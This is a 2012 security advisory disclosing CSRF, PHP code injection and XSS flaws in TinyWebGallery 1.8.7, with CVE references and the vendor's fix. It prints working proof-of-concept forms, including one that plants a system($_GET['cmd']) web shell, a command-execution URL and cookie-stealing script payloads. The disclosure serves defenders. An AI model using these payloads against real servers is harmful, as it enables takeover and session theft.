High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters
Vendor Statistics

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

Patch Available Upon Disclosure

2014 Q1: 87%2013 Q2: 92%
2013 Q4: 67%2013 Q1: 100%
2013 Q3: 77%2012 Q4: 68%

Vendor Average Time to Patch

2014 Q1: 5 days 2013 Q2: 30 days
2013 Q4: 8 days 2013 Q1: 13 days
2013 Q3: 13 days 2012 Q4: 26 days

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Multiple vulnerabilities in TinyWebGallery

Advisory ID:HTB23093
Product:TinyWebGallery
Vendor: TinyWebGallery
Vulnerable Versions:1.8.7 and probably prior
Tested Version:1.8.7
Advisory Publication:May 23, 2012 [without technical details]
Vendor Notification:May 23, 2012
Vendor Fix:May 24, 2012
Public Disclosure:June 13, 2012
Latest Update:May 30, 2012
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Code Injection [CWE-94]
Cross-Site Scripting [CWE-79]
CVE References:CVE-2012-2930
CVE-2012-2931
CVE-2012-2932
Risk Level:Critical
CVSSv2 Base Scores:4 (AV:N/AC:H/Au:N/C:N/I:P/A:P)
9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in TinyWebGallery, which can be exploited to perform Сross-Site Request Forgery (CSRF), Arbitrary Code Execution and Cross-Site Scripting (XSS) attacks.


1) Сross-Site Request Forgery (CSRF) in TinyWebGallery: CVE-2012-2930

The application allows authorized administrator to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to add new users.

An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.

The following CSRF PoC (Proof of Concept) add new user:

<form action="http://[host]/admin/index.php?action=admin&dir=&order=name&srt=yes&tview=no&sview=yes&lang=e n&action2=adduser" method="post" name="main" id="main">
<input type="hidden" name="confirm" value="true">
<input type="hidden" name="pass1" value="password">
<input type="hidden" name="pass2" value="password">
<input type="hidden" name="home_dir" value=".">
<input type="hidden" name="show_hidden" value="0">
<input type="hidden" name="no_access" value="^\.ht">
<input type="hidden" name="permissions" value="8">
<input type="hidden" name="upload_settings" value="15">
<input type="hidden" name="active" value="1">
<input type="hidden" name="user" value='user'>
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>


2) PHP code injection in TinyWebGallery: CVE-2012-2931

The vulnerability exists due to insufficient validation of input data passed to the "user" parameter within the user creation functionality. A remote authenticated user with administrative privileges can inject arbitrary PHP code into the .htusers.php file which will be executed when the admin/index.php script is accessed. It is also possible for a remote attacker to inject and execute arbitrary PHP code using CSRF vector, described in vulnerability #1.

The following PoC (Proof of Concept) modifies the ".htusers.php" file:

<form action="http://[host]/admin/index.php?action=admin&dir=&order=name&srt=yes&tview=no&sview=yes&lang=e n&action2=adduser" method="post" name="main" id="main">
<input type="hidden" name="confirm" value="true">
<input type="hidden" name="pass1" value="">
<input type="hidden" name="pass2" value="">
<input type="hidden" name="home_dir" value=".">
<input type="hidden" name="show_hidden" value="0">
<input type="hidden" name="no_access" value="^\.ht">
<input type="hidden" name="permissions" value="8">
<input type="hidden" name="upload_settings" value="15">
<input type="hidden" name="active" value="1">
<input type="hidden" name="user" value='")); system($_GET["cmd"]); $a=array(array("'>
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>

The following example demonstrates execution of arbitrary commands:

http://[host]/admin/index.php?cmd=ls -la;id;pwd;uname -a;


3) Multiple XSS in TinyWebGallery: CVE-2012-2932

3.1 Input passed via the "selitems[]" POST parameter to /admin/index.php (when "action" parameter is set to "copy", "chmod" or "arch") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

<form action="http://[host]/admin/index.php?action=copy" method="post" name="main" id="main">
<input type="hidden" name="selitems[]" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>

<form action="http://[host]/admin/index.php?action=chmod" method="post" name="main" id="main">
<input type="hidden" name="selitems[]" value='<script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>

<form action="http://[host]/admin/index.php?action=arch" method="post" name="main" id="main">
<input type="hidden" name="selitems[]" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>


3.2 Input passed via the "searchitem" POST parameter to /admin/index.php (when "action" GET parameter is set to "search") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

<form action="http://[host]/admin/index.php?action=search" method="post" name="main" id="main">
<input type="hidden" name="searchitem" value='<script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>


Solution:
Upgrade to latest TWG 1.8.8 build.

More Information:
http://www.tinywebgallery.com/forum/viewtopic.php?f=14&t=3274


ImmuniWeb by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB23093 - https://www.htbridge.com/advisory/HTB23093 - Multiple vulnerabilities in TinyWebGallery.
[2] TinyWebGallery - http://www.tinywebgallery.com - The TinyWebGallery is a free php photo album / gallery that is very easy to install, extremely user friendly, does not need a database (uses xml files) but still has all the features you should expect and much more.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.